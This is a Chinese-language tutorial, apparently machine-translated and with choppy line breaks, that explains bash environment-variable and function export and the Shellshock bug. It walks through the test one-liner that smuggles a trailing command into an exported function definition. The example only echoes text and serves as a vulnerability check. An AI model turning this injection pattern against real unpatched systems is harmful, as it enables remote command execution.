我将其写为教程式的重铸,上面是Chris Down的出色回答。
在bash中,您可以有这样的shell变量
$ t="hi there"
$ echo $t
hi there
$
默认情况下,这些变量不会由子进程继承。
$ bash
$ echo $t
$ exit
但是,如果将它们标记为要导出,bash将设置一个标志,这意味着它们将进入子进程环境(尽管envp
很少看到该参数,但是main
C程序中有三个参数:main(int argc, char *argv[], char *envp[])
最后一个指针数组是一个数组) shell变量及其定义)。
因此,我们导出t
如下:
$ echo $t
hi there
$ export t
$ bash
$ echo $t
hi there
$ exit
上面的内容t
在子外壳中是未定义的,现在它在我们导出后显示(export -n t
如果要停止导出,请使用)。
但是bash中的功能是另一种动物。您可以这样声明它们:
$ fn() { echo "test"; }
现在,您可以通过调用它来调用该函数,就好像它是另一个shell命令一样:
$ fn
test
$
再一次,如果您生成一个子shell,则不会导出我们的函数:
$ bash
$ fn
fn: command not found
$ exit
我们可以使用导出一个函数export -f
:
$ export -f fn
$ bash
$ fn
test
$ exit
这是棘手的部分:fn
就像我们对shell变量的导出一样,将类似export的函数转换为环境变量t
。如果fn
是局部变量,则不会发生这种情况,但是在导出后,我们可以将其视为shell变量。但是,您也可以使用具有相同名称的常规(即非函数)shell变量。bash根据变量的内容进行区分:
$ echo $fn
$ # See, nothing was there
$ export fn=regular
$ echo $fn
regular
$
现在,我们可以env
用来显示所有标记为导出的shell变量,并且常规fn
和函数都将fn
显示:
$ env
.
.
.
fn=regular
fn=() { echo "test"
}
$
子外壳将同时包含两个定义:一个作为常规变量,一个作为函数:
$ bash
$ echo $fn
regular
$ fn
test
$ exit
您可以fn
像上面一样定义,也可以直接定义为常规变量赋值:
$ fn='() { echo "direct" ; }'
请注意,这是一件非常不寻常的事情!通常,我们会fn
像上面使用fn() {...}
语法那样定义函数。但是由于bash通过环境将其导出,因此我们可以直接“捷径”到上面的常规定义。需要注意的是(反你的直觉,也许)这并不会导致新的功能fn
在当前shell中可用。但是,如果您生成一个** sub **外壳,那么它将。
让我们取消函数的导出,fn
并保持新的常规fn
(如上所示)完整无缺。
$ export -nf fn
现在,该函数fn
不再被导出,而是常规变量fn
被包含() { echo "direct" ; }
在其中。
现在,当子外壳程序看到()
以其开头的常规变量时,会将其余变量解释为函数定义。但这仅是在新的外壳开始时。正如我们在上面看到的,仅定义一个以shell开头的常规shell变量()
并不会使其表现得像一个函数。您必须启动一个子shell。
现在出现“ shellshock”错误:
正如我们所看到的,当一个新的shell吸收一个常规变量的定义时,首先将()
其解释为一个函数。但是,如果在定义函数的右花括号后有更多给出的内容,它将执行其中的所有内容。
这些又是要求:
- 产生了新的bash
- 提取了环境变量
- 此环境变量以“()”开头,然后在花括号中包含一个函数主体,然后再包含命令
在这种情况下,易受攻击的bash将执行后面的命令。
例:
$ export ex='() { echo "function ex" ; }; echo "this is bad"; '
$ bash
this is bad
$ ex
function ex
$
常规导出的变量ex
被传递到子外壳,该子外壳被解释为函数,ex
但是this is bad
在子外壳生成时执行了尾随命令()。
解释光滑的单线测试
@jippie的问题中引用了一种流行的用于测试Shellshock漏洞的单线代码:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
这里是一个细分:首先,:
in bash只是的简写true
。 true
并且:
都以bash评估为(您猜对了)true:
$ if true; then echo yes; fi
yes
$ if :; then echo yes; fi
yes
$
其次,env
命令(也内置在bash中)打印环境变量(如我们在上面看到的),但也可以用于运行单个命令,并为该命令提供导出的变量(或多个变量),并bash -c
从其运行单个命令命令行:
$ bash -c 'echo hi'
hi
$ bash -c 'echo $t'
$ env t=exported bash -c 'echo $t'
exported
$
因此,将所有这些东西缝合在一起,我们可以将bash作为命令运行,给它做一些虚拟的事情(例如bash -c echo this is a test
),并导出以开头的变量,()
以便子shell将其解释为函数。如果存在shellshock,它还将立即执行子shell中的所有尾随命令。由于我们传递的函数与我们无关(但必须解析!),因此我们使用可以想象的最短有效函数:
$ f() { :;}
$ f
$
f
这里的函数只是执行:
命令,该命令返回true并退出。现在,在该“邪恶”命令之后附加一个常规变量并将其导出到子外壳中,您将获胜。这是单线纸:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
因此,x
将其导出为带有简单有效函数并附echo vulnerable
加到最后的常规变量。这被传递给bash,bash解释x
为一个函数(我们不在乎),然后echo vulnerable
如果存在shellshock则执行该函数。
我们可以通过删除以下this is a test
消息来缩短单线:
$ env x='() { :;}; echo vulnerable' bash -c :
这不会打扰,this is a test
但会:
再次运行无声命令。(如果不选择,-c :
那么您将坐在子shell中,必须手动退出。)也许最用户友好的版本是以下版本:
$ env x='() { :;}; echo vulnerable' bash -c "echo If you see the word vulnerable above, you are vulnerable to shellshock"